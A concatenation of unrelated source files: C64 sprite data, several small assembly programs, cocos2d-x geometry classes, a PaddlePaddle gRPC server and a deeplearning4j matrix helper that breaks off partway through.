// sprite 4 / singlecolor / color: $0d
figure_4:
.byte %00000000,%00000000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%00111000,%00000000
.byte %00000000,%00111100,%00000000
.byte %00000000,%00111100,%00000000
.byte %00000000,%01111100,%00000000
.byte %00000000,%11101100,%00000000
.byte %00000000,%11001100,%00000000
.byte %00000000,%00011000,%00000000
.byte %00000000,%00011000,%00000000
.byte $00
// sprite 5 / singlecolor / color: $0d
figure_5:
.byte %00000000,%00000000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%11111100,%00000000
.byte %00000000,%10111100,%00000000
.byte %00000001,%10111110,%00000000
.byte %00000001,%00111010,%00000000
.byte %00000000,%00111010,%00000000
.byte %00000000,%00111000,%00000000
.byte %00000000,%00011000,%00000000
.byte %00000000,%00011000,%00000000
.byte %00000000,%00111000,%00000000
.byte %00000000,%00111000,%00000000
.byte %00000000,%00111000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%00110000,%00000000
.byte $00
// sprite 6 / singlecolor / color: $0d
figure_6:
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111100,%00000000
.byte %00000000,%11111110,%00000000
.byte %00000001,%10111011,%00000000
.byte %00000011,%00111001,%10000000
.byte %00000010,%00111000,%10000000
.byte %00000000,%00111000,%00000000
.byte %00000000,%00111000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%11101100,%00000000
.byte %00000000,%11001100,%00000000
.byte %00000001,%11000110,%00000000
.byte %00000001,%10000110,%00000000 |
; Copyright 2016 Philipp Oppermann. See the README.md
; file at the top-level directory of this distribution.
;
; Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
; http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
; <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
; option. This file may not be copied, modified, or distributed
; except according to those terms.
global long_mode_start
extern rust_main
section .text
bits 64
long_mode_start:
; load 0 into all data segment registers
mov ax, 0
mov ss, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
; call rust main (with multiboot pointer in rdi)
call rust_main
.os_returned:
; rust main returned, print `OS returned!`
mov rax, 0x4f724f204f534f4f
mov [0xb8000], rax
mov rax, 0x4f724f754f744f65
mov [0xb8008], rax
mov rax, 0x4f214f644f654f6e
mov [0xb8010], rax
hlt
|
extern printf
extern ExitProcess
section .text
global main
main:
sub rsp, 32
mov rdx, -1
sub rsp, qword 64 ;alloc offset:0
mov qword [rsp+0], qword 2 ;
sub rsp, qword 64 ;alloc a offset:64
mov rax, qword [rsp+64] ;
mov qword [rsp+0], rax ;Store into var "a" [64]
sub rsp, qword 64 ;alloc offset:128
mov qword [rsp+0], qword 3 ;
sub rsp, qword 64 ;alloc offset:192
mov qword [rsp+0], qword 2 ;
mov rax, qword [rsp+128] ;Prep left from [64]
mov r10, qword [rsp+0] ;Prep right from [192]
mul r10 ;
sub rsp, qword 64 ;alloc offset:256
mov qword [rsp+0], rax ;Result into [256]
mov rax, qword [rsp+128] ;Prep left from [128]
mov r10, qword [rsp+0] ;Prep right from [256]
mul r10 ;
sub rsp, qword 64 ;alloc offset:320
mov qword [rsp+0], rax ;Result into [320]
sub rsp, qword 64 ;alloc n offset:384
mov rax, qword [rsp+64] ;
mov qword [rsp+0], rax ;Store into var "n" [384]
mov rax, qword [rsp+0] ;
mov qword [rsp+320], rax ;Store into var "a" [64]
mov rax, qword [rsp+320] ;
mov r10, qword 1 ;
add rax, r10 ;unary increment
mov qword [rsp+320], rax ;
mov rdx, rax
mov rcx, msg
call printf
xor ecx,ecx
call ExitProcess
section .data
msg db "End of program %i",0
section .bss
|
/****************************************************************************
Copyright (c) 2010-2012 cocos2d-x.org
Copyright (c) 2013-2014 Chukong Technologies
http://www.cocos2d-x.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
#include "CCGeometry.h"
#include "ccMacros.h"
#include <algorithm>
// implementation of Point
NS_CC_BEGIN
Point::Point(void) : x(0), y(0)
{
}
Point::Point(float xx, float yy) : x(xx), y(yy)
{
}
Point::Point(const Point& other) : x(other.x), y(other.y)
{
}
Point::Point(const Size& size) : x(size.width), y(size.height)
{
}
Point& Point::operator= (const Point& other)
{
setPoint(other.x, other.y);
return *this;
}
Point& Point::operator= (const Size& size)
{
setPoint(size.width, size.height);
return *this;
}
Point Point::operator+(const Point& right) const
{
return Point(this->x + right.x, this->y + right.y);
}
Point& Point::operator+=(const Point& right)
{
this->x += right.x;
this->y += right.y;
return *this;
}
Point Point::operator-(const Point& right) const
{
return Point(this->x - right.x, this->y - right.y);
}
Point& Point::operator-=(const Point& right)
{
this->x -= right.x;
this->y -= right.y;
return *this;
}
Point Point::operator-() const
{
return Point(-x, -y);
}
bool Point::operator==(const Point& right)
{
return this->x == right.x && this->y == right.y;
}
bool Point::operator!=(const Point& right)
{
return this->x != right.x || this->y != right.y;
}
bool Point::operator==(const Point& right) const
{
return this->x == right.x && this->y == right.y;
}
bool Point::operator!=(const Point& right) const
{
return this->x != right.x || this->y != right.y;
}
Point Point::operator*(float a) const
{
return Point(this->x * a, this->y * a);
}
Point Point::operator/(float a) const
{
CCASSERT(a!=0, "CCPoint division by 0.");
return Point(this->x / a, this->y / a);
}
void Point::setPoint(float xx, float yy)
{
this->x = xx;
this->y = yy;
}
bool Point::equals(const Point& target) const
{
return (fabs(this->x - target.x) < FLT_EPSILON)
&& (fabs(this->y - target.y) < FLT_EPSILON);
}
bool Point::fuzzyEquals(const Point& b, float var) const
{
if(x - var <= b.x && b.x <= x + var)
if(y - var <= b.y && b.y <= y + var)
return true;
return false;
}
float Point::getAngle(const Point& other) const
{
Point a2 = normalize();
Point b2 = other.normalize();
float angle = atan2f(a2.cross(b2), a2.dot(b2));
if( fabs(angle) < FLT_EPSILON ) return 0.f;
return angle;
}
Point Point::rotateByAngle(const Point& pivot, float angle) const
{
return pivot + (*this - pivot).rotate(Point::forAngle(angle));
}
bool Point::isOneDimensionSegmentOverlap(float A, float B, float C, float D, float *S, float *E)
{
float ABmin = MIN(A, B);
float ABmax = MAX(A, B);
float CDmin = MIN(C, D);
float CDmax = MAX(C, D);
if (ABmax < CDmin || CDmax < ABmin)
{
// ABmin->ABmax->CDmin->CDmax or CDmin->CDmax->ABmin->ABmax
return false;
}
else
{
if (ABmin >= CDmin && ABmin <= CDmax)
{
// CDmin->ABmin->CDmax->ABmax or CDmin->ABmin->ABmax->CDmax
if (S != nullptr) *S = ABmin;
if (E != nullptr) *E = CDmax < ABmax ? CDmax : ABmax;
}
else if (ABmax >= CDmin && ABmax <= CDmax)
{
// ABmin->CDmin->ABmax->CDmax
if (S != nullptr) *S = CDmin;
if (E != nullptr) *E = ABmax;
}
else
{
// ABmin->CDmin->CDmax->ABmax
if (S != nullptr) *S = CDmin;
if (E != nullptr) *E = CDmax;
}
return true;
}
}
bool Point::isLineIntersect(const Point& A, const Point& B,
const Point& C, const Point& D,
float *S, float *T)
{
// FAIL: Line undefined
if ( (A.x==B.x && A.y==B.y) || (C.x==D.x && C.y==D.y) )
{
return false;
}
const float denom = crossProduct2Vector(A, B, C, D);
if (denom == 0)
{
// Lines parallel or overlap
return false;
}
if (S != nullptr) *S = crossProduct2Vector(C, D, C, A) / denom;
if (T != nullptr) *T = crossProduct2Vector(A, B, C, A) / denom;
return true;
}
bool Point::isLineParallel(const Point& A, const Point& B,
const Point& C, const Point& D)
{
// FAIL: Line undefined
if ( (A.x==B.x && A.y==B.y) || (C.x==D.x && C.y==D.y) )
{
return false;
}
if (crossProduct2Vector(A, B, C, D) == 0)
{
// line overlap
if (crossProduct2Vector(C, D, C, A) == 0 || crossProduct2Vector(A, B, C, A) == 0)
{
return false;
}
return true;
}
return false;
}
bool Point::isLineOverlap(const Point& A, const Point& B,
const Point& C, const Point& D)
{
// FAIL: Line undefined
if ( (A.x==B.x && A.y==B.y) || (C.x==D.x && C.y==D.y) )
{
return false;
}
if (crossProduct2Vector(A, B, C, D) == 0 &&
(crossProduct2Vector(C, D, C, A) == 0 || crossProduct2Vector(A, B, C, A) == 0))
{
return true;
}
return false;
}
bool Point::isSegmentOverlap(const Point& A, const Point& B, const Point& C, const Point& D, Point* S, Point* E)
{
if (isLineOverlap(A, B, C, D))
{
return isOneDimensionSegmentOverlap(A.x, B.x, C.x, D.x, &S->x, &E->x) &&
isOneDimensionSegmentOverlap(A.y, B.y, C.y, D.y, &S->y, &E->y);
}
return false;
}
bool Point::isSegmentIntersect(const Point& A, const Point& B, const Point& C, const Point& D)
{
float S, T;
if (isLineIntersect(A, B, C, D, &S, &T )&&
(S >= 0.0f && S <= 1.0f && T >= 0.0f && T <= 1.0f))
{
return true;
}
return false;
}
Point Point::getIntersectPoint(const Point& A, const Point& B, const Point& C, const Point& D)
{
float S, T;
if (isLineIntersect(A, B, C, D, &S, &T))
{
// Point of intersection
Point P;
P.x = A.x + S * (B.x - A.x);
P.y = A.y + S * (B.y - A.y);
return P;
}
return Point::ZERO;
}
const Point Point::ZERO = Point(0.0f, 0.0f);
const Point Point::ANCHOR_MIDDLE = Point(0.5f, 0.5f);
const Point Point::ANCHOR_BOTTOM_LEFT = Point(0.0f, 0.0f);
const Point Point::ANCHOR_TOP_LEFT = Point(0.0f, 1.0f);
const Point Point::ANCHOR_BOTTOM_RIGHT = Point(1.0f, 0.0f);
const Point Point::ANCHOR_TOP_RIGHT = Point(1.0f, 1.0f);
const Point Point::ANCHOR_MIDDLE_RIGHT = Point(1.0f, 0.5f);
const Point Point::ANCHOR_MIDDLE_LEFT = Point(0.0f, 0.5f);
const Point Point::ANCHOR_MIDDLE_TOP = Point(0.5f, 1.0f);
const Point Point::ANCHOR_MIDDLE_BOTTOM = Point(0.5f, 0.0f);
// implementation of Size
Size::Size(void) : width(0), height(0)
{
}
Size::Size(float w, float h) : width(w), height(h)
{
}
Size::Size(const Size& other) : width(other.width), height(other.height)
{
}
Size::Size(const Point& point) : width(point.x), height(point.y)
{
}
Size& Size::operator= (const Size& other)
{
setSize(other.width, other.height);
return *this;
}
Size& Size::operator= (const Point& point)
{
setSize(point.x, point.y);
return *this;
}
Size Size::operator+(const Size& right) const
{
return Size(this->width + right.width, this->height + right.height);
}
Size Size::operator-(const Size& right) const
{
return Size(this->width - right.width, this->height - right.height);
}
Size Size::operator*(float a) const
{
return Size(this->width * a, this->height * a);
}
Size Size::operator/(float a) const
{
CCASSERT(a!=0, "CCSize division by 0.");
return Size(this->width / a, this->height / a);
}
void Size::setSize(float w, float h)
{
this->width = w;
this->height = h;
}
bool Size::equals(const Size& target) const
{
return (fabs(this->width - target.width) < FLT_EPSILON)
&& (fabs(this->height - target.height) < FLT_EPSILON);
}
const Size Size::ZERO = Size(0, 0);
// implementation of Rect
Rect::Rect(void)
{
setRect(0.0f, 0.0f, 0.0f, 0.0f);
}
Rect::Rect(float x, float y, float width, float height)
{
setRect(x, y, width, height);
}
Rect::Rect(const Rect& other)
{
setRect(other.origin.x, other.origin.y, other.size.width, other.size.height);
}
Rect& Rect::operator= (const Rect& other)
{
setRect(other.origin.x, other.origin.y, other.size.width, other.size.height);
return *this;
}
void Rect::setRect(float x, float y, float width, float height)
{
// CGRect can support width<0 or height<0
// CCASSERT(width >= 0.0f && height >= 0.0f, "width and height of Rect must not less than 0.");
origin.x = x;
origin.y = y;
size.width = width;
size.height = height;
}
bool Rect::equals(const Rect& rect) const
{
return (origin.equals(rect.origin) &&
size.equals(rect.size));
}
float Rect::getMaxX() const
{
return origin.x + size.width;
}
float Rect::getMidX() const
{
return origin.x + size.width / 2.0f;
}
float Rect::getMinX() const
{
return origin.x;
}
float Rect::getMaxY() const
{
return origin.y + size.height;
}
float Rect::getMidY() const
{
return origin.y + size.height / 2.0f;
}
float Rect::getMinY() const
{
return origin.y;
}
bool Rect::containsPoint(const Point& point) const
{
bool bRet = false;
if (point.x >= getMinX() && point.x <= getMaxX()
&& point.y >= getMinY() && point.y <= getMaxY())
{
bRet = true;
}
return bRet;
}
bool Rect::intersectsRect(const Rect& rect) const
{
return !( getMaxX() < rect.getMinX() ||
rect.getMaxX() < getMinX() ||
getMaxY() < rect.getMinY() ||
rect.getMaxY() < getMinY());
}
Rect Rect::unionWithRect(const Rect & rect) const
{
float thisLeftX = origin.x;
float thisRightX = origin.x + size.width;
float thisTopY = origin.y + size.height;
float thisBottomY = origin.y;
if (thisRightX < thisLeftX)
{
std::swap(thisRightX, thisLeftX); // This rect has negative width
}
if (thisTopY < thisBottomY)
{
std::swap(thisTopY, thisBottomY); // This rect has negative height
}
float otherLeftX = rect.origin.x;
float otherRightX = rect.origin.x + rect.size.width;
float otherTopY = rect.origin.y + rect.size.height;
float otherBottomY = rect.origin.y;
if (otherRightX < otherLeftX)
{
std::swap(otherRightX, otherLeftX); // Other rect has negative width
}
if (otherTopY < otherBottomY)
{
std::swap(otherTopY, otherBottomY); // Other rect has negative height
}
float combinedLeftX = std::min(thisLeftX, otherLeftX);
float combinedRightX = std::max(thisRightX, otherRightX);
float combinedTopY = std::max(thisTopY, otherTopY);
float combinedBottomY = std::min(thisBottomY, otherBottomY);
return Rect(combinedLeftX, combinedBottomY, combinedRightX - combinedLeftX, combinedTopY - combinedBottomY);
}
const Rect Rect::ZERO = Rect(0, 0, 0, 0);
NS_CC_END
|
/*Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License. */
#include <limits>
#include <string>
#include "paddle/fluid/operators/distributed/grpc_serde.h"
#include "paddle/fluid/operators/distributed/grpc_server.h"
using ::grpc::ServerAsyncResponseWriter;
namespace paddle {
namespace operators {
namespace distributed {
enum CallStatus { PROCESS = 0, FINISH };
// reference:
// https://stackoverflow.com/questions/41732884/grpc-multiple-services-in-cpp-async-server
class RequestBase {
public:
explicit RequestBase(GrpcService::AsyncService* service,
::grpc::ServerCompletionQueue* cq,
RequestHandler* request_handler, int req_id)
: service_(service),
cq_(cq),
status_(PROCESS),
request_handler_(request_handler),
req_id_(req_id) {
PADDLE_ENFORCE(cq_);
}
virtual ~RequestBase() {}
virtual void Process() = 0;
std::string Status2String(const std::string& method) {
std::string status = "Process";
if (status_ == FINISH) {
status = "Finish";
}
std::ostringstream s;
s << method << " name:[" << GetReqName() << "]"
<< ", ep:[" << ctx_.peer() << "]"
<< " " << status << " using req_id:" << req_id_;
return s.str();
}
CallStatus Status() const {
std::lock_guard<std::mutex> l(status_mu_);
return status_;
}
template <typename T>
void Finish(const T& reply, ServerAsyncResponseWriter<T>* responder) {
std::lock_guard<std::mutex> l(status_mu_);
status_ = FINISH;
responder->Finish(reply, ::grpc::Status::OK,
reinterpret_cast<void*>(static_cast<intptr_t>(req_id_)));
}
virtual std::string GetReqName() = 0;
protected:
mutable std::mutex status_mu_;
::grpc::ServerContext ctx_;
GrpcService::AsyncService* service_;
::grpc::ServerCompletionQueue* cq_;
CallStatus status_;
RequestHandler* request_handler_;
int req_id_;
};
class RequestSend final : public RequestBase {
public:
explicit RequestSend(GrpcService::AsyncService* service,
::grpc::ServerCompletionQueue* cq,
RequestHandler* request_handler, int req_id)
: RequestBase(service, cq, request_handler, req_id), responder_(&ctx_) {
request_.reset(new GRPCVariableResponse(request_handler->scope(),
request_handler->dev_ctx(),
!request_handler->sync_mode()));
int method_id = static_cast<int>(distributed::GrpcMethod::kSendVariable);
service_->RequestAsyncUnary(
method_id, &ctx_, request_.get(), &responder_, cq_, cq_,
reinterpret_cast<void*>(static_cast<intptr_t>(req_id)));
}
virtual ~RequestSend() {}
std::string GetReqName() override { return request_->Varname(); }
void Process() override {
std::string varname = GetReqName();
VLOG(40) << "RequestSend var_name:" << varname;
auto scope = request_->GetMutableLocalScope();
auto invar = request_->GetVar();
int trainer_id = request_->GetTrainerId();
framework::Variable* outvar = nullptr;
request_handler_->Handle(varname, scope, invar, &outvar, trainer_id);
Finish(reply_, &responder_);
}
protected:
sendrecv::VoidMessage reply_;
std::shared_ptr<GRPCVariableResponse> request_;
ServerAsyncResponseWriter<sendrecv::VoidMessage> responder_;
};
class RequestGet final : public RequestBase {
public:
explicit RequestGet(GrpcService::AsyncService* service,
::grpc::ServerCompletionQueue* cq,
RequestHandler* request_handler, int req_id)
: RequestBase(service, cq, request_handler, req_id), responder_(&ctx_) {
auto method_id = static_cast<int>(distributed::GrpcMethod::kGetVariable);
service_->RequestAsyncUnary(
method_id, &ctx_, &request_, &responder_, cq_, cq_,
reinterpret_cast<void*>(static_cast<intptr_t>(req_id)));
}
virtual ~RequestGet() {}
std::string GetReqName() override { return request_.varname(); }
void Process() override {
// proc request.
std::string varname = request_.varname();
int trainer_id = request_.trainer_id();
VLOG(40) << "RequestGet " << varname;
auto scope = request_handler_->scope();
auto invar = scope->FindVar(varname);
framework::Variable* outvar = nullptr;
request_handler_->Handle(varname, scope, invar, &outvar, trainer_id);
if (outvar) {
SerializeToByteBuffer(varname, outvar, *request_handler_->dev_ctx(),
&reply_);
}
Finish(reply_, &responder_);
}
protected:
sendrecv::VariableMessage request_;
::grpc::ByteBuffer reply_;
ServerAsyncResponseWriter<::grpc::ByteBuffer> responder_;
};
class RequestPrefetch final : public RequestBase {
public:
explicit RequestPrefetch(GrpcService::AsyncService* service,
::grpc::ServerCompletionQueue* cq,
RequestHandler* request_handler, int req_id)
: RequestBase(service, cq, request_handler, req_id),
responder_(&ctx_),
local_scope_(nullptr) {
request_.reset(new GRPCVariableResponse(request_handler->scope(),
request_handler->dev_ctx(), true));
int method_id =
static_cast<int>(distributed::GrpcMethod::kPrefetchVariable);
service_->RequestAsyncUnary(
method_id, &ctx_, request_.get(), &responder_, cq_, cq_,
reinterpret_cast<void*>(static_cast<intptr_t>(req_id)));
}
virtual ~RequestPrefetch() {}
std::string GetReqName() override { return request_->Varname(); }
void Process() override {
// prefetch process...
std::string in_var_name = request_->Varname();
std::string out_var_name = request_->OutVarname();
int trainer_id = request_->GetTrainerId();
VLOG(40) << "RequestPrefetch, in_var_name: " << in_var_name
<< " out_var_name: " << out_var_name;
auto scope = request_->GetMutableLocalScope();
auto invar = scope->FindVar(in_var_name);
// out var must be created in local scope!
framework::Variable* outvar = scope->Var(out_var_name);
request_handler_->Handle(in_var_name, scope, invar, &outvar, trainer_id,
out_var_name);
SerializeToByteBuffer(out_var_name, outvar, *request_handler_->dev_ctx(),
&reply_);
Finish(reply_, &responder_);
}
protected:
std::shared_ptr<GRPCVariableResponse> request_;
::grpc::ByteBuffer reply_;
ServerAsyncResponseWriter<::grpc::ByteBuffer> responder_;
framework::Scope* local_scope_;
};
class RequestCheckpointNotify final : public RequestBase {
public:
explicit RequestCheckpointNotify(GrpcService::AsyncService* service,
::grpc::ServerCompletionQueue* cq,
RequestHandler* request_handler, int req_id)
: RequestBase(service, cq, request_handler, req_id), responder_(&ctx_) {
request_.reset(new GRPCVariableResponse(request_handler->scope(),
request_handler->dev_ctx()));
int method_id =
static_cast<int>(distributed::GrpcMethod::kCheckpointNotify);
service_->RequestAsyncUnary(
method_id, &ctx_, request_.get(), &responder_, cq_, cq_,
reinterpret_cast<void*>(static_cast<intptr_t>(req_id)));
}
virtual ~RequestCheckpointNotify() {}
std::string GetReqName() override { return request_->Varname(); }
void Process() override {
auto scope = request_->GetMutableLocalScope();
std::string checkpoint_notify = request_->Varname();
std::string checkpoint_dir = request_->OutVarname();
int trainer_id = request_->GetTrainerId();
VLOG(40) << "RequestCheckpointNotify notify: " << checkpoint_notify
<< ", dir: " << checkpoint_dir;
request_handler_->Handle(checkpoint_notify, scope, nullptr, nullptr,
trainer_id, checkpoint_dir);
Finish(reply_, &responder_);
}
protected:
std::shared_ptr<GRPCVariableResponse> request_;
sendrecv::VoidMessage reply_;
ServerAsyncResponseWriter<sendrecv::VoidMessage> responder_;
};
void AsyncGRPCServer::WaitServerReady() {
VLOG(40) << "AsyncGRPCServer is wait server ready";
std::unique_lock<std::mutex> lock(this->mutex_ready_);
condition_ready_.wait(lock, [=] { return this->ready_ == 1; });
VLOG(40) << "AsyncGRPCServer WaitSeverReady";
}
void AsyncGRPCServer::StartServer() {
::grpc::ServerBuilder builder;
builder.AddListeningPort(bind_address_, ::grpc::InsecureServerCredentials(),
&selected_port_);
builder.SetMaxSendMessageSize(std::numeric_limits<int>::max());
builder.SetMaxReceiveMessageSize(std::numeric_limits<int>::max());
builder.RegisterService(&service_);
for (auto t : rpc_call_map_) {
rpc_cq_[t.first].reset(builder.AddCompletionQueue().release());
}
server_ = builder.BuildAndStart();
LOG(INFO) << "Server listening on " << bind_address_
<< " selected port: " << selected_port_;
std::function<void(const std::string&, int)> f =
std::bind(&AsyncGRPCServer::TryToRegisterNewOne, this,
std::placeholders::_1, std::placeholders::_2);
for (auto& t : rpc_call_map_) {
auto& rpc_name = t.first;
auto& cq = rpc_cq_[rpc_name];
auto threadnum = rpc_thread_num_[rpc_name];
auto& reqs = rpc_reqs_[rpc_name];
reqs.reserve(kRequestBufSize);
for (int i = 0; i < kRequestBufSize; i++) {
VLOG(60) << "TryToRegisterNewOne on RPC NAME: " << rpc_name
<< " I: " << i;
TryToRegisterNewOne(rpc_name, i);
}
for (int i = 0; i < threadnum; i++) {
rpc_threads_[rpc_name].emplace_back(new std::thread(std::bind(
&AsyncGRPCServer::HandleRequest, this, cq.get(), rpc_name, f)));
VLOG(40) << t.first << " creates threads!";
}
}
{
std::lock_guard<std::mutex> lock(this->mutex_ready_);
ready_ = 1;
}
condition_ready_.notify_all();
// wait server
server_->Wait();
for (auto& t : rpc_threads_) {
auto& threads = t.second;
for (size_t i = 0; i < threads.size(); ++i) {
threads[i]->join();
VLOG(40) << t.first << " threads ends!";
}
}
}
void AsyncGRPCServer::ShutdownQueue() {
for (auto& t : rpc_cq_) {
t.second->Shutdown();
VLOG(40) << t.first << " queue shutdown!";
}
}
void AsyncGRPCServer::ShutDownImpl() {
std::unique_lock<std::mutex> lock(cq_mutex_);
is_shut_down_ = true;
ShutdownQueue();
VLOG(40) << "server_ shutdown!";
server_->Shutdown();
}
void AsyncGRPCServer::TryToRegisterNewOne(const std::string& rpc_name,
int req_id) {
std::unique_lock<std::mutex> lock(cq_mutex_);
if (is_shut_down_) {
VLOG(40) << "shutdown, do not TryToRegisterNewSendOne";
return;
}
VLOG(40) << "TryToRegisterNewOne on RPC NAME: " << rpc_name
<< " REQ ID: " << req_id;
auto& reqs = rpc_reqs_[rpc_name];
auto& handler = rpc_call_map_[rpc_name];
auto& cq = rpc_cq_[rpc_name];
RequestBase* b = nullptr;
if (rpc_name == kRequestSend) {
b = new RequestSend(&service_, cq.get(), handler, req_id);
} else if (rpc_name == kRequestGet) {
b = new RequestGet(&service_, cq.get(), handler, req_id);
} else if (rpc_name == kRequestPrefetch) {
b = new RequestPrefetch(&service_, cq.get(), handler, req_id);
} else if (rpc_name == kRequestCheckpoint) {
b = new RequestCheckpointNotify(&service_, cq.get(), handler, req_id);
} else {
PADDLE_ENFORCE(false, "not supported rpc");
}
reqs[req_id] = b;
VLOG(40) << "Create RequestSend status:" << b->Status();
}
void AsyncGRPCServer::HandleRequest(
::grpc::ServerCompletionQueue* cq, const std::string& rpc_name,
std::function<void(const std::string&, int)> TryToRegisterNewOne) {
void* tag = NULL;
bool ok = false;
while (true) {
VLOG(40) << "HandleRequest " << rpc_name << " wait next";
if (!cq->Next(&tag, &ok)) {
VLOG(30) << "CompletionQueue " << rpc_name << " shutdown!";
break;
}
int req_id = static_cast<int>(reinterpret_cast<intptr_t>(tag));
VLOG(40) << "HandleRequest " << rpc_name << ", req_id:" << req_id
<< " get next";
auto& reqs = rpc_reqs_[rpc_name];
RequestBase* base = nullptr;
{
PADDLE_ENFORCE(req_id >= 0 && req_id < kRequestBufSize);
std::unique_lock<std::mutex> lock(cq_mutex_);
base = reqs[req_id];
}
VLOG(30) << base->Status2String(rpc_name);
// reference:
// https://github.com/tensorflow/tensorflow/issues/5596
// https://groups.google.com/forum/#!topic/grpc-io/xftlRy-IQwM
// https://groups.google.com/forum/#!topic/grpc-io/ywATt88Ef_I
if (!ok) {
LOG(WARNING) << "completion queue:" << rpc_name
<< " recv no regular event"
<< " context:" << base->Status2String(rpc_name);
TryToRegisterNewOne(rpc_name, req_id);
delete base;
continue;
}
switch (base->Status()) {
case PROCESS: {
base->Process();
break;
}
case FINISH: {
TryToRegisterNewOne(rpc_name, req_id);
delete base;
break;
}
default: { assert(false); }
}
}
}
} // namespace distributed
} // namespace operators
} // namespace paddle
|
.data
A: .byte 0 0 0 0, 1 0 0 0, 2 0 0 0, 3 0 0 0, 4 0 0 0, 5 0 0 0
.align 2
output: .asciiz "La somma è: "
.text
.globl main
main:
la $a0, A
li $a1, 6
jal S
move $s0, $v0
li $v0, 56
la $a0, output
move $a1, $s0
syscall
li $v0, 10
syscall |
/* ******************************************************************************
*
*
* This program and the accompanying materials are made available under the
* terms of the Apache License, Version 2.0 which is available at
* https://www.apache.org/licenses/LICENSE-2.0.
*
* See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
* SPDX-License-Identifier: Apache-2.0
******************************************************************************/
//
// @author raver119@gmail.com
//
#include <ops/declarable/helpers/top_k.h>
#include <helpers/MmulHelper.h>
#include <array/NDArrayFactory.h>
#include <graph/Status.h>
#include <execution/Threads.h>
#include <execution/Threads.h>
namespace sd {
namespace ops {
namespace helpers {
template <typename T>
static void swapRows_(NDArray* matrix, int theFirst, int theSecond) {
if (theFirst != theSecond)
for (int i = 0; i < matrix->columns(); i++) {
math::nd4j_swap(matrix->r<T>(theFirst, i), matrix->r<T>(theSecond, i));
}
}
BUILD_SINGLE_TEMPLATE(template void swapRows_, (NDArray* matrix, int theFirst, int theSecond), FLOAT_TYPES);
template <typename T>
static void swapRows(T* matrixBuf, Nd4jLong const* matrixShape, Nd4jLong theFirst, Nd4jLong theSecond) {
if (theFirst != theSecond) {
auto n = shape::sizeAt(matrixShape, -1);
auto loop = PRAGMA_THREADS_FOR {
for (auto i = start; i < stop; i++) {
Nd4jLong theFirstPos[] = {theFirst, i};
Nd4jLong theSecondPos[] = {theSecond, i};
auto theFirstIndex = shape::getOffset(matrixShape, theFirstPos, 0);
auto theSecondIndex = shape::getOffset(matrixShape, theSecondPos, 0);
math::nd4j_swap(matrixBuf[theFirstIndex], matrixBuf[theSecondIndex]);
}
};
samediff::Threads::parallel_tad(loop, 0, n, 1);
}
}
void swapRows(NDArray* matrix, int theFirst, int theSecond) {
BUILD_SINGLE_SELECTOR(matrix->dataType(), swapRows_, (matrix, theFirst, theSecond), FLOAT_TYPES);
}
template <typename T>
static void invertLowerMatrix_(NDArray* inputMatrix, NDArray* invertedMatrix) {
int n = inputMatrix->rows();
invertedMatrix->setIdentity();
if (inputMatrix->isIdentityMatrix()) return;
auto invertDiagonals = PRAGMA_THREADS_FOR {
for (int i = start; i < stop; i += increment)
invertedMatrix->r<T>(i, i) /= inputMatrix->t<T>(i, i);
};
auto invertSubDiagonals = PRAGMA_THREADS_FOR {
for (int i = start; i < stop; i += increment)
invertedMatrix->r<T>(i, i - 1) -= (inputMatrix->t<T>(i, i - 1) * invertedMatrix->t<T>(i - 1, i - 1) / inputMatrix->t<T>(i, i));
};
samediff::Threads::parallel_for(invertDiagonals, 0, n, 1);
samediff::Threads::parallel_for(invertSubDiagonals, 1, n, 1);
// PRAGMA_OMP_PARALLEL_FOR_SIMD
for (int i = 1; i < n; i++) {
for (int j = 0; j < i - 1 ; j++)
